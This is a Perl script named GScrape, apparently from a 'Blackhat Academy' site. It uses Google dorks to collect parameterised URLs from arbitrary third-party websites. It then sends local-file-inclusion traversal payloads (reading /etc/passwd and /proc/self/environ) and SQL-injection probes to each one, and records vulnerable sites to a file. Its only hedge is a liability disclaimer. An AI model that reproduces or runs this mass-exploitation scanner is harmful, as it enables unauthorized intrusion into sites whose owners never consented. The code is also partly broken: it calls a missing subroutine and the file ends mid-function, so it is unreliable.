Perl - Gscrape (Google Scraper)

#!/usr/bin/perl

# gscrape.pl
#
# Uses Google::Search to either iterate through a list of dorks (dorks.lst)
# And then prints out a list of vulnerable sites.

use Term::ANSIColor;
use Getopt::Std;
use HTTP::Request;
use Google::Search;
use LWP::UserAgent;

#vars n stuff
my $search;
my $useragent = LWP::UserAgent->new();
my $infile;
my $outfile;
my $searchmode;
my @url_list;
my @search_terms; #search terms and
my @dorks;        #dorks, to check if the terms have "inurl:".
my @vulnsites;



##--main execution:
        &banner();
        &getOpts();


        if ($opt{s} || $opt{f} && $opt{o} && !$opt{h}) {
        &printInfo("Trying with the following settings:");
        &printInfo( ">>Search Mode: $searchmode");
        &printInfo( ">>Output file: $outfile");

    if ($searchmode == "single" && $searchmode != "list"){

        &printInfo( ">>Search Term: $search");
        &search_single();
        } else {
             &printInfo( ">>Search List: $infile");
             &search_list();
             }


         }
         if (!$opt{h} && !$opt{o}){
             &printCritical("YOU MUST SPECIFY AN OUTPUT FILE!1!one!");
             &printInfo("use -h flag for help");
             print"\n\r\nExiting..\n";
         }






##--subroutines:.



#Search using a list of terms:
sub search_list(){

open FILE, "<", $infile or die $!;
my @search_terms = <FILE>;
my $num = @search_terms;
&printInfo("Loaded $num search terms.");
&printInfo("Fixing improper search terms [if any]");
#iterate through the search terms, checking if they have "inurl:" if not, prepend it.
for( my $int = 0; $int < $num; $int++){
    my $random = int(rand($num));

    if ( @search_terms[$random] !~ /inurl:/ ){
        push(@dorks, "inurl:".@search_terms[$random]);
        }
    if ( @search_terms[$random] =~ /inurl:/){
        push(@dorks, @search_terms[$random]);
        }


    }
    print"\n";
&printInfo("Retrieving search results..");

#iterate through the google dorks (search terms, with 'inurl:'), and add them to the list of sites.
foreach(@dorks) {

     $search = Google::Search->Web( query => $_ );
    while ( my $result = $search->next ) {
        if( $result->uri =~ /\=/) { #check if results have "=" in them (ex: www.site.com/index.php?page=LOLCATS)
            push(@url_list, $result->uri); #push result into the array
            &printInfo(">>".$result->uri);
        }
    }
}

my @lfitest = (
    '/etc/passwd%00',
    '/etc/passwd',
    '/proc/self/environ%00',
    '/proc/self/environ',
    '../../../../../../../../../../../../../../../proc/self/environ',
    '../../../../../../../../../../../../../../../proc/self/environ%00',
    '../../../../../../../../../../../../../../../etc/passwd',
    '../../../../../../../../../../../../../../../etc/passwd%00',
    "'"
    );


my $lfinum = @lfitest;

print"\n";
&printInfo("Testing sites for vulnerabilities..");



#Test the sites for vulns.

foreach( @url_list ){
    my $index = @url_list;
    my $randint = int(rand($index));

        my $x = @url_list[$randint];
        $x =~ s/=.*/=/ ;



        for (my $i = 0; $i < $lfinum; $i++){
            if ( $x !~ /http:\/\// ){
                $x = "http://".$x;
            }



        my $request = $useragent->get($x.@lfitest[$i]);
        my $result = $request->content;

        if ($result =~ m/root:x:/i || m/HTTP_USER_AGENT/){
            &printVulnLFI(">>> ".$x.@lfitest[$i]);
            open FILE, ">>", $outfile or die $!;
            print FILE "[LFI VULN] >> ".$x.@lfitest[$i]."\n";
            close FILE;
            last;
        }
        if ($result =~ m/error in your/i || m/syntax/i){
            &printVulnSQLI(">>> ".$x.@lfitest[$i]);
                        open FILE, ">>", $outfile or die $!;
            print FILE "[SQLI VULN] >> ".$x.@lfitest."'\n";
            close FILE;
            last;
        }
        if ($result =~ m/hacking/i || m/reported/i ||  m/recorded/i || m/malicious/i){
            &printCritical("> Whoops! Tripped an IDS at: ".$x." With: ".@lfitest[$i]);

        }

    }
}

}






sub banner() {
system('clear');
    print("\r+=====================================================================+
           \r|                              GScrape                                |
           \r|         ________  _________                                         |
           \r|        /  _____/ /   _____/ ________________  ______   ____         |
           \r|       /   \\  ___ \\_____  \\_/ ___\\_  __ \\__  \\ \\____ \\_/ __ \\        |
           \r|       \\    \\_\\  \\/        \\  \\___|  | \\// __ \\|  |_> >  ___/        |
           \r|        \\______  /_______  /\\___  >__|  (____  /   __/ \\___  >       |
           \r|               \\/        \\/     \\/           \\/|__|        \\/        |
           \r|                                                                     |
           \r|                                                                     |
           \r|           Uses Google AJAX API to search for vulnerabilities        |
            \r+=====================================================================+
            \r
             \r                       www.BlackhatAcademy.net
           " );

           printWarning("THE END USER IS LIABLE FOR THE USE OF THIS SOFTWARE.
                         \rUSING THIS AGAINST ANY SYSTEM WITHOUT PERMISSION IS A CRIMINAL ACT
                         \rTHE AUTHOR TAKES NO RESPONSIBILITY FOR THE END-USER'S ACTIONS.\n");



}


sub getOpts(){
    #option modes, and args.
    my $opt_string = 'f:o:h';
        getopts( "$opt_string", \%opt );

        #set vars of $outfile, and $infile if they are defined.


        if ($opt{o}){
            $outfile = $opt{o};
        }

        if ($opt{f}){

            $infile = $opt{f};
            $searchmode = "list";

        }



        #Display help page if -h
        usage() if $opt{h};



}
#YES HELLO, THIS IS HELP PAGE.
sub usage(){
    print("


 GScrape Usage:

    Search using a list of search terms:
     -f /path/to/dorks.txt


    Define output file:
     -o results.out




Example Usages:

    Run a list of search terms through the scanner:
     perl gscrape.pl -f ~/Dork.lst -o ~/result.out


    ");
}


    #HERE BE ANSICOLOR:
    # [INFO] [CRITICAL] and [WARNING] messages

    sub printCritical(){
        my $error = shift(@_);


     print color 'bold blue';
     print "\r[";
     print color 'red';
     print "CRITICAL";
     print color 'bold blue';
     print "]  ";
     print color 'red';
     print color 'reset';
     print $error."\n";

    }
    sub printWarning(){

        my $error = shift(@_);


     print color 'bold blue';
     print "\r[";
     print color 'yellow';
     print "WARNING";
     print color 'bold blue';
     print "]  ";
     print color 'reset';
     print $error."\n";

    }
    sub printInfo(){

        my $info = shift(@_);


     print color 'bold blue';

     print "\r[";
     print color 'reset';
     print "INFO";
     print color 'bold blue';
     print "]  ";
     print color 'reset';
     print $info."\n";

    }

        sub printVulnLFI(){

        my $info = shift(@_);


     print color 'bold blue';

     print "\r[";
     print color 'green';
     print "LFI VULN ";
     print color 'bold blue';
     print "]  ";
     print color 'reset';
     print $info."\n";

    }

            sub printVulnSQLI(){

        my $info = shift(@_);


     print color 'bold blue';

     print "\r[";
     print color 'green';
     print "SQLI VULN";
     print color 'bold blue';
     print "]  ";
     print color 'reset';
     print $info."\n";